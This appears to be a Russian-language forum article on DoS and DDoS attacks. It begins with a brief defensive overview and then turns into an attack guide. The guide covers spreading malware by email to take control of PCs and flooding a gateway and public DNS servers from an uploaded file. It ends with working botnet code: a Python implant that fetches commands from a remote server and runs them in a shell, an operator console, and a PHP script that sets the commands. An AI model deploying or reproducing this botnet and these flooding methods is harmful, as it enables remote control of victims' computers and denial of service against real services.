- 8
- 2
- 26 Окт 2025
В этой статье хотел рассказать о DoS и DDoS, рассказать про их отличия, как они работают, а также как произвести простую атаку на веб-ресурс.
DDoS:
Как можно совершить атаку?
(Бонус) Как совершаются атаки изнутри?
Можно загрузить на сервер вредоносный файл, например с помощью MIME-атаки. В сам файл нужно загрузить специальный скрипт, который будет проводить DoS атаку на локальный хост. Схема скрипта:
Практика: Создние ботнета
Вредносный файл (main.py):
Ваш GUI (console.py):
task_changer.php (файл изменения задачи на вашем сервере):
Что такое DoS и DDoS?
- DoS (Denial of Service) — атака, направленная на отказ в обслуживании целевого ресурса (сайта, сервера, сети). Цель — сделать ресурс недоступным для легитимных пользователей.
- DDoS (Distributed Denial of Service) — разновидность DoS-атаки, при которой используется множество заражённых устройств (ботнет), чтобы увеличить мощность атаки и усложнить её обнаружение и блокировку.
Как работают эти атаки?
DoS:- Злоумышленник посылает огромное количество запросов или данных на сервер.
- Это перегружает ресурсы сервера, вызывая его сбои или задержки.
- В результате легитимные пользователи не могут получить доступ к сервису.
DDoS:
- Используются тысячи или миллионы заражённых устройств (ботов).
- Они одновременно посылают запросы или трафик на цель.
- Объединённая мощность делает атаку намного более масштабной и сложной для защиты.
Виды DoS и DDoS атак
- Объемные атаки (Volume-based):
- Цель — исчерпать пропускную способность сети.
- Например: UDP-флуд, ICMP-флуд, атаки типа Amplification (усиление).
- Атаки на протоколы (Protocol attacks):
- Задействуют уязвимости в протоколах или серверах.
- Например: SYN-флуд, Ping of Death, Smurf-атаки.
- Атаки на уровне приложений (Application layer):
- Нацелены на конкретные приложения или функции сайта.
- Например: HTTP-флуд, атаки на формы входа, медленные POST-запросы.
Почему DDoS сложнее защищать?
- Использование множества устройств затрудняет отслеживание источников.
- Атаки могут быть очень мощными, достигая терабайтных объемов трафика.
- Зачастую используют легальные сервисы (например, облачные ресурсы) для усиления атаки.
Методы защиты от DoS и DDoS
- Фильтрация трафика: использование брандмауэров, IPS/IDS систем.
- Анализ трафика: обнаружение аномалий.
- Масштабируемые решения: облачные сервисы, CDN.
- Rate limiting: ограничение количества запросов с одного IP.
- Использование специальных сервисов защиты: Cloudflare, Akamai, Arbor и др.
Последствия атак
- Недоступность сайта или сервиса.
- Финансовые потери.
- Потеря репутации.
- Возможные юридические последствия при ущербе клиентам.
Как можно совершить атаку?
- DoS атаки:
- Поиск уязвимостей в протоколах: можно найти места (формы к примеру), которые не имеют достаточную защиту, что позволит разом, отправлять большое количество данных, блаягодаря многопоточности, что приведет к перегрузу головного сервера.
- Амплифация: отправка небольшого количества данных на энд-поинты, которые отвечают большим количеством данных, что также приводит к долгой прогрузке сайта. (Метом используется мной по сей день)
- Заполнение очереди: например, на сайте можно выполнять какое либо действие только после того, как это действие произведется другими пользователями поочерёдно. Пользуясь этим, мы сможем заполнить очередь, имитрую реальных людей, из-за чего реальные пользователи не смогут выполнить нужное им действие.
- DDoS атаки:
- Распределённые DoS: Рассылка писем с вредоносным файлом, который при заражении ПК даёт полный контроль над ним. Это позволит единовременно начать атаку, выполняя действия как для обычной DoS атаки. DDoS будет намного эффективнее и более сложным к защите, так как атака будет идти с многих стран мира, в большом количестве, также возможна поочередность атаки.
(Бонус) Как совершаются атаки изнутри?
Можно загрузить на сервер вредоносный файл, например с помощью MIME-атаки. В сам файл нужно загрузить специальный скрипт, который будет проводить DoS атаку на локальный хост. Схема скрипта:
- Получение информации о шлюзе (роутере):
- На Windows использует команду ipconfig, чтобы определить IP-адрес шлюза.
- На других системах использует команду ip route для получения IP-адреса шлюза.
- Многопоточная атака на шлюз:
- Создаёт множество потоков (300), каждый из которых устанавливает TCP-соединение с шлюзом по порту 80.
- Посылает случайные данные (4096 байт) через это соединение в цикле, что может перегрузить шлюз.
- Атака на DNS-серверы:
- Создаёт ещё 300 потоков, каждый из которых посылает случайные UDP-пакеты на стандартные DNS-серверы (8.8.8.8, 1.1.1.1, 8.8.4.4) по порту 53.
- Это может вызвать перегрузку DNS-серверов или их отказ в обслуживании.
- После запуска все потоки работают бесконечно, что приводит к сильной нагрузке на сеть, делая интернет недоступным для большинства устройств в сети.
Практика: Создние ботнета
Вредносный файл (main.py):
Код:
import time
import requests
import subprocess
url = "https://example.com/task.txt"
prev_content = None
while True:
try:
response = requests.get(url)
response.raise_for_status()
current_content = response.text
if current_content != prev_content:
prev_content = current_content
else:
# Выполняем содержимое файла как команду в командной строке
subprocess.run(current_content, shell=True)
except Exception as e:
print(f"Ошибка: {e}")
time.sleep(10)
Ваш GUI (console.py):
Код:
import tkinter as tk
import requests
# URL файла на сервере
SERVER_URL = "https://example.com/task_changer.php"
def send_command(command):
# Отправляем команду на сервер, заменяя содержимое файла
# Предполагается, что сервер поддерживает PUT или POST для этого
try:
# Используем POST-запрос для замены содержимого файла
data = {
'data': command.encode('utf-8')
}
response = requests.post(SERVER_URL, data=data)
response.raise_for_status()
return True
except Exception as e:
print(f"Ошибка при отправке команды: {e}")
return False
def on_enter(event=None):
command = entry.get()
if command.strip():
# Записываем команду в список
commands_list.insert(tk.END, command)
# Отправляем команду на сервер
success = send_command(command)
if not success:
# Можно обработать ошибку (например, вывести сообщение)
pass
# Очищаем строку ввода
entry.delete(0, tk.END)
# Создаем окно
root = tk.Tk()
root.title("Консоль команд")
# Ввод команды
entry = tk.Entry(root, width=50)
entry.pack(padx=10, pady=5)
entry.bind('<Return>', on_enter)
# Список команд
commands_list = tk.Listbox(root, width=50, height=15)
commands_list.pack(padx=10, pady=5)
# Запуск приложения
root.mainloop()
task_changer.php (файл изменения задачи на вашем сервере):
Код:
<?php
// task_changer.php
// Устанавливаем заголовки для CORS, если нужно
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json");
// Указываем путь к файлу, который будет заменяться
$file_path = 'task.txt';
// Проверяем, что запрос пришел методом POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Проверяем, есть ли параметр 'data'
if (isset($_POST['data'])) {
// Получаем данные
$data = $_POST['data'];
$result = file_put_contents($file_path, $data);
} else {
}
} else {
}
?>
- Автор/Источник
- pithunt